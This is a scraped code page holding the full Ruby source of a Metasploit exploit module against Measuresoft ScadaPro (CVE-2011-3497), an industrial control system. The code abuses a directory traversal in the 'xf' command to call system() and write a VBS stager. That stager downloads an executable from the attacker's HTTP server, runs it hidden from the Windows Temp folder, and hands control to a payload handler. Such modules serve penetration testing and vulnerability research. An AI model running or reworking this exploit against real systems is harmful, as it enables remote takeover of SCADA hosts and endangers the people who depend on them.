Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/scadapro_cmdexe.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::Remote::Tcp10include Msf::Exploit::EXE1112def initialize(info = {})13super(update_info(info,14'Name' => 'Measuresoft ScadaPro Remote Command Execution',15'Description' => %q{16This module allows remote attackers to execute arbitrary commands on the17affected system by abusing via Directory Traversal attack when using the18'xf' command (execute function). An attacker can execute system() from19msvcrt.dll to upload a backdoor and gain remote code execution. This20vulnerability affects version 4.0.0 and earlier.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Luigi Auriemma', # Initial discovery/poc26'mr_me <steventhomasseeley[at]gmail.com>', # msf27'TecR0c <tecr0c[at]tecninja.net>', # msf28],29'References' =>30[31[ 'CVE', '2011-3497'],32[ 'OSVDB', '75490'],33[ 'BID', '49613'],34[ 'URL', 'http://aluigi.altervista.org/adv/scadapro_1-adv.txt'],35[ 'URL', 'http://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],36# seemed pretty accurate to us ;)37[ 'URL', 'http://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],38],39'DefaultOptions' =>40{41'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',42},43'Platform' => 'win',44'Targets' =>45[46# truly universal47[ 'Automatic', { } ],48],49'DefaultTarget' => 0,50'DisclosureDate' => '2011-09-16'))5152register_options(53[54Opt::RPORT(11234),55OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),56])57end5859# couldn't generate a vbs or exe payload and then use the wF command60# as there is a limit to the amount of data to write to disk.61# so we just write out a vbs script like the old days.6263def build_vbs(url, stager_name)64name_xmlhttp = rand_text_alpha(2)65name_adodb = rand_text_alpha(2)6667tmp = "#{@temp_folder}/#{stager_name}"6869vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "70vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send"71vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "72vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "73vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "74vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "75vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"7677return vbs78end7980def on_request_uri(cli, request)81if request.uri =~ /\.exe/82print_status("Sending 2nd stage payload")83return if ((p=regenerate_payload(cli)) == nil)84data = generate_payload_exe( {:code=>p.encoded} )85send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )86return87end88end8990def exploit91# In order to save binary data to the file system the payload is written to a .vbs92# file and execute it from there.93@payload_name = rand_text_alpha(4)94@temp_folder = "C:/Windows/Temp"9596if datastore['SRVHOST'] == '0.0.0.0'97lhost = Rex::Socket.source_address('50.50.50.50')98else99lhost = datastore['SRVHOST']100end101102payload_src = lhost103payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe"104105stager_name = rand_text_alpha(6) + ".vbs"106stager = build_vbs(payload_src, stager_name)107108path = "..\\..\\..\\..\\..\\windows\\system32"109110createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"111download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"112113print_status("Sending 1st stage payload...")114115connect116sock.get_once()117sock.put(createvbs)118sock.get_once()119sock.put(download_execute)120handler()121disconnect122123super124end125end126127128